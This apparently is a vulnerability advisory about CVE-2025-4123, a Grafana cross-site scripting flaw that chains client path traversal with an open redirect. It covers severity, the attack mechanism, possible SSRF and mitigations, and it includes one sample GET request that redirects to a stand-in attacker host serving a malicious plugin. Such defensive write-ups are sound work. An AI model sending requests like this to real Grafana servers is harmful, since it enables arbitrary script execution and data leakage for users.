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CVE-2025-4123: Cross-Site Scripting Vulnerability in Grafana

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Overview

A significant cybersecurity vulnerability, CVE-2025-4123, has been identified in Grafana, a popular open-source analytics and monitoring solution. The vulnerability is a Cross-Site Scripting (XSS) issue caused by a combination of client path traversal and open redirect. This issue is of grave concern as it potentially allows malicious parties to compromise systems or leak sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-4123
Severity: High (7.6 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise and data leakage

Affected Products

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Product | Affected Versions

Grafana | All versions prior to the patched version

How the Exploit Works

The exploit leverages a Cross-Site Scripting (XSS) vulnerability in Grafana that arises from a combination of a client path traversal and open redirect. This flaw allows attackers to redirect users to a malicious website hosting a frontend plugin that will execute arbitrary JavaScript. The vulnerability does not require editor permissions, and can function even with anonymous access enabled. If the Grafana Image Renderer plugin is installed, it is possible to exploit the open redirect to achieve a full read Server Side Request Forgery (SSRF).

Conceptual Example Code

This is a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:

GET /redirect?to=http://malicious.example.com/frontend-plugin HTTP/1.1
Host: vulnerable-grafana.example.com

Mitigation Guidance

To mitigate this vulnerability, Grafana users are advised to apply the vendor’s patch as soon as it is available. Until then, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation. Also, disabling anonymous access and the Grafana Image Renderer plugin can reduce the impact of the vulnerability.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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